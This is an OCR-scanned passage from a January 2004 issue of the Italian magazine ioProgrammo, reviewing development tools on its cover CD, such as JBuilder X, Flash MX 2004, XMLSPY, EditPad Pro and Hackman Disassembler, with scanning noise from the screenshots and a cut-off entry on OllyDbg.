
Source Design Bean UML :. History 



>© 



Insert 91:48 ' CU A ' Qi • 



Fig. 2: L'editor di testo è completissimo e molto chiaro. Ovviamente comprende la funzione di 
autocompletamento del codice. 



http://www.ioprogrammo.it 



Gennaio 2004/17 ► 



SOFTWARE SUL CD T ■ Java al massimo 




Fig. 3: Ricchissima la finestra di Design: 
grazie al vista ad albero presente sulla 
sinistra, è possibile tenere sotto controllo la 
complessità dell'interfaccia. 



documentazione del proprio software resta 
una parte fondamentale del nostro lavoro. 
JBuilder X ci viene in contro con un apposi- 
to Wizard per la generazione, in standard 
Javadoc, della documentazione dei nostri 
progetti. È addirittura possibile far si che la 
generazione del Javadoc sia parte integrante 
del processo di build. La funzionalità appe- 
na descritta è disponibile solo nella versione 
Enterprise di JBuilder X, così come l'integra- 
zione con tutti i più importanti application 
server J2EE: JBoss, BEAWebLogic, IBM Web- 
Sphere, Sybase EAServer, Sun ONE Appli- 
cation Server, Oracle 9i Application Server 
oltre, ovviamente, al Borland Enterprise Ser- 
ver. Con ognuno di questi application server, 
è possibile effettuare il debug, il deploy e fa- 
re girare applicazioni, sempre all'interno di 
JBuilder X Enterprise. Anche il supporto per 
Cocoon è una prerogativa della versione En- 
terprise. 



Cocoon è un framework servlet-based per la 
pubblicazione di dati XML, che consente 
una netta separazione fra contenuti, presen- 
tazione e logica. I tre livelli sono tenuti assie- 
me tramite XSL mentre la generazione del 
modulo Web Cocoon è facilitata da un appo- 
sito Wizard. 



IL MOMENTO 
DI INSTALLARE 

Le risorse di sistema richieste da JBuilder 
sono notevoli. La configurazione minima 
raccomandata prevede 512MB di RAM, 
almeno 760 MB di spazio sull'hard disk ed 
un Pentium III 500 MHz. Per una corretta 
installazione è necessario collegarsi al 
link http: Il www. boriane, comlproductsl 



Window Help Purchase 



3fc fc * |ss - p ► - % - te - 1* - ^ ♦ |# | ? 



-Default Package ■ 



■j^ goQ : boolean 

i ..: .'Oic 

(Statoci . void 



<Defautt PackagO 



— 1 

| String 1 1 StringBuffer 1 1 System ] 



IL | Poe I History | 





jaua.lang 




rsiiss-k-. 


i 








■JDefault Package* 








Semaforo 


> giallo: tote* 
-:o boolesn 


"J* goQ : boolean 

lomandon void 

-.;■*' r >it " : void __ 



Ooc 




Fig. 5: E interessante notare come i 
diagrammi UML non siano una mera 
rappresentazione del codice. In JBuilder X 
possiamo attuare una reale modellazione 
UML e agire sull'applicazione direttamente 
dal modello. 



downloadsi 'download _jbuilder.html# e 
cliccare su "Enterprise Trial Si Founda- 
tion", lasciare i propri dati evitando di 
scaricare il pacchetto di installazione. In 
pochi istanti riceveremo nella casella di 
posta elettronica la chiave di attivazione. 
Dopo l'installazione, al primo avvio di 
JBuilder vi verrà richiesto di indicare la 
posizione della chiave di attivazione che 
avete ricevuto: sarà sufficiente indicare il 
percorso completo e potremo testare 
l'ambiente, in tutte le sue funzionalità, 
per trenta giorni. 



Fig. 4: UML: il diagramma delle classi 
estratto automaticamente da JBuilder X 



JBuilder X 
Enterprise 



Sul web: www.borland.it 
Prezzo: nuova licenza $3.500 
upgrade: $1.900 
Sul CD: \jbuilderx 



t 



4 



Come generare un Javadoc per il nostro progetto 




Q Selezioniamo "Javadoc..." dal me- 
nu wizard e indichiamo nome e 
percorso per la documentazione. È anche 
possibile decidere se lanciare Javadoc ad 
ogni build del progetto. Le scelte com- 
piute in questo wizard potranno sempre 
essere modificate cliccando sul nuovo 
nodo "Doclet" nel pannello project. 



Q Dobbiamo ora indicare quali file 
includere nel Javadoc. 
La scelta di default include tutti i file. 
È inoltre necessario specificare quali 
classi e membri vanno documentati, 
la selezione è fatta sulla base della 
loro visibilità: Public, Protected, 
Package o Private. 



i 




■ Zr.> fnrt | S -!n^ Hota 



H Infine, possiamo personalizzare la 
documentazione che sarà generata 
con una serie di opzioni come: la 
presenza dell'albero gerarchico, la barra 
di navigazione, l'indice e così via. È anche 
possibile aggiungere opzioni addizionali 
non presenti nell'elenco. Un clic su 
"Finish" per concludere. 



p> 18/Gennaio 2004 



http://www.ioprogrammo.it 



Ambienti di sviluppo ■ T SOFTWARE SUL CD 



Flash MX 2004 Professional 



Finalmente in italiano la versione completa del più celebre 
applicativo per la creazione di progetti multimediali 



Italiano 



Dopo mesi di voci non confermate e dichiarazioni ufficiali 
sulle nuove caratteristiche tecniche, la Macromedia ha 
messo finalmente a disposizione i nuovi prodotti MX nella ver- 
sione italiana. Come di consueto, le sorprese non sono mancate: 
un player più veloce, nuovi strumenti di sviluppo e ben due 
nuove versioni, una dedicata ai designer (Flash MX 2004) ed una 




pensata per i developer (Flash MX 2004 Professional). Questa 
scelta di realizzare due pacchetti distinti testimonia la divisione 
di ruoli che la Macromedia ha individuato nelF utilizzo della tec- 
nologia alla base di Flash, e che possiamo definire l'evoluzione 
naturale di una strategia di cui si potevano cogliere i primi 
segnali a partire dalla versione MX. La versione Professional pos- 
siede tutte le caratteristiche della versione normale con in più 
dei componenti aggiuntivi creati per agevolare lo scambio di 
dati e numerose altre opzioni, molte delle quali pensate per dia- 
logare con programmi di terze parti. È facile prevedere un gros- 
so successo di vendite per la versione MX 2004 Professional di 
Flash, anche perché il livello tecnico degli utenti è cresciuto nel 
corso degli anni. Sicuramente anche molti web designer, che 
potrebbero dover utilizzare solo occasionalmente le funzioni 
aggiuntive, non si 
faranno spaventare 
dalla necessità di 
scrivere qualche 
riga di codice in più, 
né dalla differenza 
di prezzo tra i due 
prodotti (appena 
200$ di differenza). 



Flash MX 2004 

Produttore: Macromedia 

Sul web: www.macromedia.it 

Su CD: FlashMX2004-it.zip 

Prezzo nuova licenza: standard € 599 

prò € 839 

Upgrade: standard € 239, prò € 349 



t 



4 



MobileVB 4.0 



Visual Basic lo metti nel taschino 

Integrandosi perfettamente in VB6, AppForge MobileVB per- 
mette agli sviluppatori Visual Basic di cominciare in breve 
tempo la costruzione di applicazioni per dispositivi mobili e wire- 
less. Con MobileVB è possibile sviluppare applicazioni per Palm 
OS, Sony Ericsson P800, PocketPC, Nokia 0210/9290 e tutti i 
dispositivi che montano il Symbian OS. Sviluppando applicazioni 




con MobileVB potremo approfittare di numerose agevolazioni, a 
partire dalla dimensione delle form già settata per lo specifico 
dispositivo su cui vogliamo distribuire l'applicazione. Nella tool- 
bar avremo a disposizione dei nuovi controlli appositi per appli- 
cazioni Mobile ed un nuovo menu "MobileVB" arricchirà la barra 
dei menu con tutte le funzioni relative. Due nuove toolbar 
andranno a integrare 1ÌDE consentendo un rapido accesso alle 
funzioni utilizzate più di frequente, come ad esempio il deploy 
dell'applicazione sul dispositivo. Per iniziare a sviluppare una 
nuova applicazione MobileVB è necessario selezionare il tempia- 
te "MobileVB Project" dal menu iniziale di Visual Basic. 
Per attivare il software è necessario collegarsi all'indirizzo 
http://scripts.appforge.com/eval/afevalasp, lasciare il proprio indi- 
rizzo mail e cliccare sul pulsante "Request Evaluation Key Only". In 
pochi istanti riceve- 
remo la chiave di at- 
tivazione. 

Follow these steps to 
enter your Registra- 
tion Information: 
MobileVB40.exe. 



k 



MobileVB 4.0 

Produttore: AppForge 
Sul web: www.appforge.com 
Su CD: MobileVB40.exe 
Prezzo: $899.00 



è 



http://www.ioprogrammo.it 



Gennaio 2004/19 ». 



SOFTWARE SUL CD T 



Ambienti di sviluppo 



XMLSPY 

Release 3 




ii 



Home 



L'aggiornamento del miglior editor XML 



Uno dei più apprezzati editor XML, si presenta con questa 
nuova versione, che qui presentiamo in licenza home, si 
rinnova e conferma tutte le sue migliori doti. 




Fig. 1: La ricca interfaccia grafica. 



Già nelle fasi iniziali dell' installazione è possibile decidere il 
livello di integrazione con Windows, scegliendo se associare 
alcuni file a XMLSPY e se integrare la voce relativa a XMLSPY 
nei menu contestuali di Explorer. 

L'interfaccia è alquanto spartana ma ampiamente persona- 
lizzabile, ottimo il supporto ai Web Services grazie ad apposi- 
te interfacce per i protocolli SOAP, XSL e WSDL. È ovviamen- 
te possibile validare documenti XML sulla base di DTD ed è 
possibile trasformare i documenti utilizzando regole XSL, il 
tutto attraverso un apposito editor DTD, un editor grafico per 
XML Schema ed un processore XSLT. 

Alla fine dell'installazione è possibile scaricare automatica- 
mente dei alcuni tool aggiuntivi. 

Al primo avvio ci viene richiesto il nostro nome e un indiriz- 
zo mail cui verrà 
spedita in pochi, 
istanti, la chiave di 
attivazione neces- 
saria ad attivare il 
software per quin- 
dici giorni. 



I 



XMLSPY 2004 Home 

Produttore: Altova 

Sul Web: www.altova.it 

Prezzo: $49.00 

Nel CD: XMLSPYHomeComplete2004.exe 



4 



Jurtle 1.0 

Per imparare a programmare in Java 



Uno strumento didattico dawer ben fatto e che prende le 
mosse dalla famosa tartaruga (turtle) che a molti di noi 
insegnò i rudimenti del Logo sul glorioso Commodore 64. Jur- 



eoe 



Jurtle — /VQlumes/MaeOSX/Users/bill/jLjrtle/Exariiples 



aaàQJBSaXUfi^ » 1 T D ► 



B cunei n gBalis 

BouncinflTuntle 

BoxesOnBoxes 

Cifdes 

ColorWlhefll 

FahrenhrflitToCenligrade 

jFan 

FarieyTree 



Fir&wartts 
Hnqs 

Piover 

GUI 

GUI Display 

Grid 

MakeFolygwis 

PolySpiral 

PrompIForStr 

Randorn Lines 

RarwJoniPixets 

Recurae 

Screa nFill 

ShapeMakingTurtJe 

SimpleTftìtì' 

SineWave 

Star 



\ EdK { Display f Errori \ 



* The FaAcyTree class oVoas a recursively aentìrdteil tree that l-o 

* quasi -reo Usti e. See the Single Tree esempi e far a simpler bu 

* customizable one. 



import jova.flrtt,*: 

import javOx.Slr^rltì.•; 

import cobi. otherwi se. jurtle.*; 

public class FancyTree, ex tendi Turtle 
{ 

private Jtdtic final irrt MAXJDEFTH - 8; 

private stati e final Color BROHN * ne«v Colort 110, 74, il ); 

private stati e Final tnt LEAFJ3EUY - 1; 



Mairi entry ptìint to the code. Sets uo the enviranmeiìt and 
tr» drawTreeQ method. 



public vgid i*unTui*tleO 






: 



HI 



Fig. 1: Comoda la disposizione a schede. 



tle è un ambiente di sviluppo integrato al cui interno sono già 
presenti dei piccoli applicativi Java che effettuano delle simpa- 
tiche evoluzioni sullo schermo. Siamo invitati a modificare 
questi programmi e a vedere l'effetto di queste modifiche: gli 
esempi sono sedici, di difficoltà crescente, e questo tipo di 
apprendimento (imparare "facendo") risulta perfettamente in 
linea con lo stile di ioProgrammo. È possibile sperimentare an- 
che delle semplici interfacce, imparando a conoscere librerie 
fondamentali come Swing e Awt. Un ambiente pensato (forse) 
per i più piccoli ma che consente anche ai "grandi" che voglio- 
no avvicinarsi alla programmazione Java un approccio più 
semplice e divertente. Richiede sia installata una versione della 
virtual machine pari o superiore alla 1.3. L'applicazione pre- 
sente nel CD allegato è in versione dimostrativa: è possibile 
utilizzarla per un _ _ 

massimo di 15 mi- 
nuti a sessione, un 
tempo comunque 
sufficiente a valu- 
tare la bontà del 
prodotto. 



* 



Jurtle 1.0 

Produttore: Otherwise 

Sul Web: www.otherwise.com 

Prezzo: $15 

Nel CD: Jurtle I.O.exe 



è 



^ 20/Gennaio 2004 



http://www.ioprogrammo.it 



Tool di programmazione ■ T SOFTWARE SUL CD 



EditPad Pro 5 



Editor di testo al massimo! 

Uno dei migliori e più diffusi editor testuale: con una 
interfaccia semplice e di rara efficacia, EditPad con- 
sente di editare più file contemporaneamente. 
Avanzate funzionalità di search&replace unite alla evi- 
denziazione sintattica per i più diffusi linguaggi di prò- 



J EditPad Pro 



File Edit Project Block Bookrmark lools Extra 
Convert Options View Help 

pio a a e ^ ~ i x ^ a ■•■ 

index.cnt.txt index, page, tot | benefits. page, tot 



< > 



<P>EditPad&iibsp ;Pro is a poueuful 
and versatile text editor. 
Designed to make text editing as 
convenient as possible, using 
EditPadSnhsp ;Pro to edit text 
files uill save you a lot of time 
and f rustration.</P>| 



30: 21 



Modified 



Inserì: 



3864 



Fig. 1: Immancabile fra i nostri editor. 



grammazione e al pieno supporto per le regular expres- 
sions, fanno di EditPad la scelta di riferimento per i pro- 
grammatori e per chiunque abbia a che fare con file di 
testo. La struttura a tab, lo speli sintattico in real time, il 
supporto per i progetti, funzioni statistiche come il con- 
teggio delle parole, gestione avanzate dei file, ordinamen- 
to alfabetico di porzioni di testo e molto altro ancora. La 
colorazione sintattica del codice supporta tutti i più dif- 
fusi linguaggi di programmazione. 

Altre funzioni utili ai programmatori sono la numerazio- 
ne delle righe, i segnalibro, l'indentazione automatica e i 
segni di paragrafo. Molte impostazioni possono essere 
configurate separatamente a seconda del tipo di file trat- 
tato: file di testo, codice Java, HTML o qualsiasi altro tipo 
definito dall'utente. Confronto visuale tra più file ed un 

editor esadeci- 

male completano 
questo prodotto 
davvero eccellen- 
te. Versione di 
prova valida tren- 
ta giorni. 



EditPad Pro 5 

Produttore: JGsoft 

Sul Web: www.editpad.it 

Prezzo: € 39.95 + IVA 

Nel CD: SetupEditPadProDemo.exe 



t 



4 



LiveUpdate LO 

Applicazioni sempre aggiornate 



' Application Title's LiveUpdate 

Update Alert 



o 




A A new versìon of Application Title 
is now avallatile 



W 



You rnay be using an obsolete version of Application 
Title. We highly recommend you that you update 
Application Title. 

(* Run LiveUpdate to update Application Title now 
C Notify me again in f J day(s) 





Fig. 1: Un look professionale. 



Un tool che semplifica il lavoro di chi vuole rendere le proprie 
applicazioni aggiornabili via Web. Grazie a LiveUpdate, 
potremo fornire il nostro software di un sistema di aggiornamento 
via Web assolutamente professionale: indispensabile a tutti coloro 
i quali vogliano tenere sempre aggiornato il parco delle proprie 
installazioni. Dal lato dell'utente, sono necessari pochissimi clic 
per sapere se è disponibile una nuova versione del software e, nel 
caso, scaricarla e installarla automaticamente. E' anche possibile 
impostare un controllo automatico, ad ogni riavvio dell'applica- 
zione, che verifichi la presenza di aggiornamenti in modo del tutto 
trasparente per l'utente. Solo nel caso in sui un nuovo aggiorna- 
mento è effettivamente disponibile, l'utente viene allertato e gli 
viene richiesta l'autorizzazione a scaricare e installare il nuovo 
pacchetto. Una soluzione completa applicabile sia in ambito LAN 
che Internet o intranet, e facilmente integrabile anche in prodotti 

già esistenti. Insom- 

ma: un sistema sem- 
plice ed efficace. Vo- 
lete ancora una buo- 
na ragione per pro- 
vare LiveUpdate? 
Eccola: è gratuito! 



t 



LiveUpdate 1.0 

Produttore: Openwares 
Sul Web: www.openwares.org 
Prezzo: Gratuito 
Nel CD: LiveUpdate.zip 



4 



http://www.ioprogrammo.it 



Gennaio 2004/21 ► 



SOFTWARE SUL CD T I Tool di programmazione 



Realbasic 5.2.2 

Crea e compila applicazioni per Windows e Mac 



Un ambiente di programmazione che rende disponibile anche 
ai meno esperti la possibilità di sviluppare applicazioni in 
pochissimo tempo, grazie anche alla ricca documentazione, ai 
numerosi tutorial e agli esempi inclusi. 




msjt : 



*•**(* ifrpun***** 



IJ~P 



,3«vclMwfflM 



Fig. 1: Molto completo VIDE a finestra. 



Oltre ad offrire la possibilità di importare codice e form da Visual 
Basic, Realbasic consente di compilare le applicazioni sviluppate, 
oltre che per Windows, anche per Mac OS 8, Mac OS 9 e Mac OS X. 
In questa minor release sono stati introdotti numerosi migliora- 
menti, il più importante dei quali riguarda l'estrema riduzione dei 
tempi di compilazione. Gli utenti del Visual Basic di Microsoft non 
si troveranno disorientati, grazie ad una esplicita aderenza di 
Realbasic alle consuetudini della casa di Redmond nelle interfac- 
ce, senza contare che la migrazione per gli utenti Visual Basic è 
facilitata anche da un apposita utilità denominata VB Project 
Converter. Chi lavora in team potrà beneficiare del Project 
Manager che consente a più utenti di collaborare sullo stesso pro- 
getto. Versione dimo- 
strativa valida trenta 
giorni. Al primo av- 
vio è necessario clic- 
care su "Get a demo 
Key" per ottenere 
una chiave valida. 



t 



Realbasic 5.2.2 

Produttore: REAL Software 
Sul Web: www.realbasic.com 
Prezzo: $99.95 
Nel CD: REALbasicDemoSetup.exe 



Hack man Disassembler 8.0 Lite 

Editor esadecimale e disassemblatore in un unico software 



Un disassemblatore che fa della velocità uno dei suoi punti di 
forza: su un Pili 900, Hackman riesce a disassemblare 250 
kb/sec. A dispetto del nome, questo prodotto non è dedicato 
esclusivamente al mondo hacker, ma a chiunque sia curioso di in- 
dagare la struttura dei programmi eseguibili. Hackman può infatti 
riportare in assembler qualsiasi eseguibile adatto a processori 
Pentium e AMD, offrendo anche il supporto per Motorola, Hitachi 
e Zilog. Hackman è anche un ottimo editor esadecimale e offre la 
capacità di criptare e decrittare file con un algoritmo a 128 bit. Le 
istruzioni fornite a corredo risultano particolarmente chiare e 
complete. Alcune delle principali funzionalità offerte da Hack- 
man: 

• layout di stampa completamente personalizzabile 

• possiblità di cambiare al volo il set di opcode 

• funzioni di ricerca in tutte le colonne (indirizzo, flag, opcode, 
ecc.) 

• help online sui set di istruzioni supportati 

• possibilità di salvare in formato testo 

• rappresentazione aritmetica Signed/Unsigned 

• interfaccia completamente personalizzabile 

Hackman Disassembler 8.0 può essere utile a molte categorie di 
professionisti: programmatori, progettisti di processori, addetti ai 
test, fanatici del reverse engineering e delle CPU! La versione Lite 
è gratuita ma è limitata al disassemblaggio di 200KB ed ai soli prò- 



l«.UJU..UJ.IHmj.il.lU«JElLI.HI..IIimUIIM»WMMMIIIHI Jnjx] 

File Edit ; Help 


D£]<*|% 


9 


■ zi 




Address 


|Hex 




| Command 


Flags 


H* 


j 00000002 


746D 




JE 


[0x71] 


00000004 


6C 




INSB 


esijdx 


00000005 


3E 




<Unknown> 


> 


00000006 


0D0A3C4345 




OR 


eax,0x45483C0A 


0000000B 


41 




INC 


ecx 


oooooooc 


44 




INC 


esp 


0000000D 


3E 




<Unl<nown> 


? 


0000000E 


0D0A3C7469 




OR 


eax,0x69743C0A 


00000013 


746C 




JE 


[0x81] 


00000015 


65 




G5: 






00000016 


3E 




<Unknown> 


? 




00000017 


4C 




DEC 


esp 




00000013 


6963656E736520 




IMUL 


esp., [ebx+0x65], 0x2065736E 




0000001F 


41 




INC 


ecx 




00000020 


67 




<Unknown> 


? 




00000021 






JB 


[0x88] 




n,nnnnn,p3 


&5 




55i 







Fig. 1: E possibile eseguire l'evoluzione di un programma. 

cessori Intel e AMD. La versione Standard ha un costo di $24.99 e 
non ha limitazioni 
nella dimensione dei 
file da disassemblare. 
Infine, la versione 
professional, del co- 
sto di $49.99, suppor- 
ta tutti i processori 
senza alcuna limita- 
zione. 



Hackman 
Disassembler 8.0 

Produttore: TechnoLogismiki 
Sul Web: www.technologismiki.com 
Prezzo: Gratuito 
Nel CD: HackAsm8.zip 



4 



^ 22/Gennaio 2004 



http://www.ioprogrammo.it 



Tool di programmazione ■ T SOFTWARE SUL CD 



SILVERRUIU ModelSphere 2.1 

Uml con classe 



Un potente ambiente per il design delle applicazioni, la 
modellazione dei processi e la definizione dei modelli di 
dati. Sviluppato in Java (e quindi bisognoso di macchine par- 



- <™ 



a $ f | 




___j&A 










Fig. 1: Disassemblare applicazioni è un'attività in cui ModelSphere 
eccelle. 



ticolarmente performanti) può essere utilizzato sia nel pro- 
cesso di sviluppo di un'applicazione, sia in quello della "deco- 
struzione" ovverosia di reverse engineering, campo in cui 
ModelSphere eccelle. È possibile utilizzare come sorgente dei 
propri modelli sia RDBMS che codice Java. SILVERRUN 
ModelSphere è un ottimo tool per la modellazione dei pro- 
cessi e può essere usato dagli analisti per la creazione di data- 
flow, di diagrammi di processo e per la definizione della logi- 
stica di un'azienda. SILVERRUN ModelSphere facilita anche 
la creazione e l'installazione delle basi di dati, grazie alle sue 
capacità di visualizzazione grafica e di generazione di script 
SQL automatizzata. Infine, la creazione diagrammi di classe 
in standard UML può essere associata alla generazione in 
automatico di codice Java. All'avvio è possibile scegliere fra lo 
standard mode (nel caso in cui si possegga la chiave di attiva- 
zione) ed il restricted mode, che consente di valutare l'appli- 
cazione senza 
acquistarla e che 
presenta una serie 
di limitazioni sul 
numero di elemen- 
ti utilizzabili in un 
diagramma. 



SILVERRUN 
ModelSphere 2.1 

Produttore: magna solutions 

Sul Web: www.magnasolutions.com 

Prezzo: $150.00 

Nel CD: SILVERRUN_ModelSphere_2_1.exe 



PrimeVision 1.3 Personal 

Una plancia di comando per i tuoi database 



Un sistema di interfaccia verso database che permette la con- 
nessione verso BDE, ADO e sorgenti ODBC. Una volta con- 
nessi, è possibile esplorare le tabelle, editare i dati presenti, ese- 
guire script sql e molto altro ancora. Molti sono i formati in cui è 
possibile esportare i dati raccolti, questi i più importanti: .csv, .txt, 
.xml, .cds e .html. E' possibile costruire una propria libreria di 
query SQL attraverso un editor con tanto syntax-highlighting che, 
grazie alla funzione di autocompletamento, rende la scrittura 





H;g|o|jt^(BE.^ 4 * | B Ri | il il | E] | 




u m -ij -■* ► - ■ ►-!«- 






-I dnil 










Connection* Tables | Queries | 


ADO Bit* | Design | Interbase | Paradox | 




2Ì |A fas | H 


: 




Specie* Name | |G, 3 ph,, 


A 




50 


250333700787 


(MEMO) IGF! 


:Ì : * 




Lutianus sebae 


60 


.2204 72440945 


(MEMO) 


7772720: 










ìKRAPWCl 


ius nauarchus 


30 


ni 


(MEMO) 


(G RAPH 1 CI 






80 


4SBC62S321 26 


(MEMO) 


iGR-PHlù 










272- 2. 




Ornati: :imu: 


18 


«31433033332 


(MEMO) 


ÌKFÌAPHìC! 






102 


574803 ■43603 


'•722 : 


IGR-PHIÙ 


► 


Myliobatis californica 


56 


772272322 




727.727737 












2237' 2. 




::■':'.:,. ' ■ ■ 


150 


H72 8H023S; 


(MEMO) 


(G RAPH IO 






88 


i783??0527553 


(MEMO) 


2772 Q 




Chaetodiperusfaber 


80 


.330/0836; 41 7 


(MEMO) 


77:22-2 : 






,Z',T" m 


200 


, mwm]3K 


(MEMO) 


IGR-PHIÙ 


Snecies No Float 
:i .«e: n«* :mr... 4.;. 


Ocyuruschrysurus 


75 


27553055 181 


(MEMO) 


iGR-PHIu 










fSFÌAPHIC'l 


Sphyraena barracuda 


150 


77' 37 3362 


(MEMO) 


3RAP : 


rlavolineatum 30 81 1 0236220472 (M E M ) (G RAPH I C) 


Ej 



dell' SQL enormemente più rapida. Grazie ad un'ottima interfac- 
cia, è possibile avere più viste aperte sui più database contempo- 
raneamente, spostandosi fra le varie sorgenti con un semplice clic. 
Viene dunque enormemente facilitata anche la migrazione dei 
dati. Buono il report che consente anche l'anteprima di stampa. 
Riassumendo brevemente le caratteristiche salienti: 

• connessioni disponibili: ADO, BDE e ODBC 

• editing diretto dei dati 

• supporto per query e script SQL 

• Controllo delle transazioni per script e query (Start, Commit, 
Rollback) 

• Copia & Incolla 
tra più tabelle 

• Syntax highligh- 
ting per script e 
query SQL 



Fig. 1: Un unica interfaccia per più DB. 



L'utilizzo è gratuito 
se non è a fini com- 
merciali. 



PrimeVision 1.3 
Personal 

Produttore: PrimeLogics 
Sul Web: www.primelogics.com 
Prezzo: Gratuito 
Nel CD: Setup.exe 



http://www.ioprogrammo.it 



Gennaio 2004/23 ► 



SOFTWARE SUL CD T Elenco Software sul CD 



Irle Pascal 
(Windows Edittali) 2.5 

Per generare eseguibili 
con l'intramontabile Pascal 

Un tool per realizzare applicazioni 
eseguibili, utilizzando come linguag- 
gio sorgente il Pascal. 



EiiiUtn hFHii(nal[ur.|; 

n 

ttiu UH -Mille neriA-1 1 »! 



Il pacchetto include un compilatore 
ed un interprete. Il compilatore si 
occupa di generare bytecode esegui- 
bile dall'interprete. Notevole il sup- 
porto a tecnologie di terze parti: CGI, 
ODBC, MySQL, Windows API, 
WinSock2. 
ipw-eval.exe 



DbToXml 1.5 

Aggiorna le tue applicazioni 
verso XML 

Un'ottima occasione per aggiornare 
le nostre vecchie applicazione DB- 
driven, verso i nuovi modelli XML- 
driven. Per trasformare tutti i nostri 
dati in formato XML, sarà sufficiente 
ottenere una connessione ODBC dal 
nostro database. 




DbToXML, oltre ad effettuare questa 
conversione, può efficacemente co- 
struire in pochi istanti la rappresen- 
tazione a oggetti dei nostril dati in 
una molteplicità di linguaggi: C#, 
VB.NET, Java ed oggetti COM. 
DbToXml_v1 . 5.zip 



XDK 1.1 

Creare e gestire manualistica e 
sistemi di help on-line 

Un interessante tool per la creazione 
di manuali ed help on line che, sfrut- 
tando la flessibilità dell'XML, con- 
sente di gestire agevolmente progetti 
anche molto complessi: basti dire 
che il numero di voci gestibili può 
arrivare a toccare 100.000, con pieno 
supporto per grafici, indicizzazione, 
glossari e avanzate funzioni di ricer- 
ca. 

XDK ci permette di usare Word come 
editor del testo, cosa che consente 
una potente gestione della formatta- 
zione, oltre a garantirci il beneficio di 
tutti i numerosi tool offerti da Word 
(correttore grammaticale in testa). 
XDK può automaticamente effettua- 
re la conversione da documenti in 
standard Word verso il formato 
HTML, XHTML o Help. 
Versione dimostrativa valida trenta 
giorni e con un limite di 100 pagine. 
XDKCDemo.exe 



Exchanger XML Editor 1.0 

Creare e gestire documenti XML 

Un editor XML Java-based che offre 
un ampio spettro di funzionalità, sia 
per chi abbia a che fare solo con i dati 
contenuti in un XML sia per gli svi- 
luppatori. Molto ricca la scelta fra le 
visualizzazioni disponibili: vista ad 
albero, schema-based e l'ottima tag- 
free per inserire e visualizzare dati in 
modo più chiaro. Effettua la valida- 
zione dei documenti e, grazie alle 
regular expression, è possibile fare 
delle ricerche molto dettagliate. 




Ottimo il supporto per XSLT e per le 
trasformazioni XSLFO. Versione di 
prova valida trenta giorni, è necessa- 
rio che sia installato il JDK 1.4. 
xngrV1_windowsJvm.exe 



TierDeveloper 3.0 

Un generatore di codice per 
accedere a DB 

Uno strumento che consente di velociz- 
zare la scrittura di codice atto all'acces- 
so a database. In aggiunta alla genera- 
zione del codice-ponte fra l'applicazio- 
ne ed i dati, TierDeveloper può genera- 
re delle piccole applicazioni-test che 
permettono di verificare il corretto fun- 
zionamento del codice. La versione 
allegata è per .NET ed è una demo vali- 
da trenta giorni. E' disponibile anche 
una versione per J2EE. 
Durante il setup, si può scegliere se 
installare anche il plug-in per VS.NET 
che integra TierDeveloper all'interno 
dell'ambiente di sviluppo. 
TierDevDotNetEd.exe 



OnTime Defect Tracker 
Windows Edition 3.0 

Traccia gestisce e aiuta a risolvere 
i bug 

Basato su .NET e SQL-Server, OnTime 
Defect Tracker è un valido aiuto duran- 
te lo sviluppo di un progetto software: 
tutti i bug possono essere tracciati e 
gestiti attraverso complessi strumenti 
di ricerca ed analisi. Le informazioni 
possono ovviamente essere condivise 
fra tutti i componenti del team di svi- 
luppo, ma sulla base di apposite policy 
di sicurezza. È anche disponibile un 
SDK opzionale che consente di integra- 
re le capacità di defect-tracking all'in- 
terno delle applicazioni che sviluppia- 
mo. E' possibile scegliere tra due tipi di 
interfacce: Windows client o Web 
Client. Versione dimostrativa. 
OnTimeSetup.msi 

XpoLog 2.2 

Analizzare i file di log 

Un completo analizzatore di log per 
avere sotto controllo tutti i principali 
parametri dei siti Web che gestiamo. 
Particolarmente curata la funzione di 
merge fra più log, cosa che consente 
analisi comparate e giustapposizione di 
più intervalli di tempo. XpoLog consen- 
te di esportare il log in numerosi forma- 
ti e può inviare i risultati delle analisi via 
mail. Una soluzione completa per Web 
master ed amministratori di rete. 
Xpol_og2.2-win-prod.exe 



► 24/Gennaio 2004 



http://www.ioprogrammo.it 



Elenco Software sul CD T SOFTWARE SUL CD 



XML Explorer 2.6.7 

Visualizzare e modificare codice 
XML 

Un editor che si presta a manipolare sia 
il codice XML che gli XML schema. 
L'interfaccia consente di visualizzare ed 
editare i documenti secondo molteplici 
viste: per nodi, per tabelle, come brow- 
ser e come semplice testo. Pur non bril- 
lando per velocità, FIDE fa utilizzare 
con piacere, grazie ad un'interfaccia 
semplice al limite dello spartano. 





inde«="1"code= 


|DB*H*IED'll**aX|«™|n|t|jtllÈ 


Dai 


«1- 




I m V | " ■ < > & | 


Loca,, 


n: |[SE3H3^B 




3 C:\ t empVzz, m l 








■ 


i ? «mi 

à-m in™» 


Ili 




»=, 














fCtteJ 






ls um 




B-a pay 




i\ 1 






| H»filax 

É -fi item 


File Edit 


XML Vie 


« lool 


Test texh block... 


| M tax 

+ _]' item 

ift aaaaaaaaaaaaaaaaaaaaa 
1 » lem 


j Locata [T 


■ < >.l 


o r» | 






a ,W, K m, 


Name 


1 NodeAtttibutes/Attril 


p item 


lind^'l" cedag- 


- Jinvoic 












_|it, 

- _|p 

! H-i 

: 


Q C:\temp\new1.xsd 
"*Hml 


li 


□ ce 
♦ _J control; 


,0- 




II 


II 


-,. 




.^s 


chema 





Molto efficace la funzione di copia e 
incolla che permette di utilizzare la 
clipboard senza perdere alcuna infor- 
mazione relativa alla porzione di XML 
copiata. Utilissima la funzione di 
import da Excel, Access e da qualsiasi 
DB compatibile ODBC. Versione di 
prova valida trenta giorni. 
XMLExplorer.msi 



XML Conveller 
Standard Edition 3.63 

Conversione da Excel e da Access 
verso XML 

Un applicazione in grado di convogliare 
dati provenienti da una molteplicità di 
fonti: SQL Server, Oracle, MySQL e MS 
Office. Tutti i dati raccolti sono conver- 
titi in formato XML attraverso una tra- 
sformazione ampiamente personaliz- 
zabile. 



Open Souroe M| 

QCarsExmpl.xls 
B- □ DBProperties 
B-0Srieet1$ 

+ □properties 

i DYear 

+ O ■ 

É-DCarName 
El-[]Shaet2J 
□ Sheet3$ 



I IPIrh' 



81 CHRYSLER j 



-.'::; 



mi n ,iin=" " 
encoding="UTF-8" 

S'andatone' " ?> 

,.,11-.-,-., .-=" M > 

<Sheet1> 
<:Year> <fteai> 

ini ni 
</Corporation> 

C ij'-ur 

</Car_Narne> 
</Sheet1> 
<Srieet1> 



Col 30 



Fondamentale nelle operazioni di "con- 
certo" fra piattaforme diverse e sistemi 
legacy. 
XMLCon verter 



OllyDbg 1.09d 

Per analizzare e debuggare 
direttamente il codice binario 

Un debugger per Windows in grado di 
analizzare direttamente il codice a 32 
bit, cosa particolarmente utile nel caso 
in cui si debba effettuare il debug di 
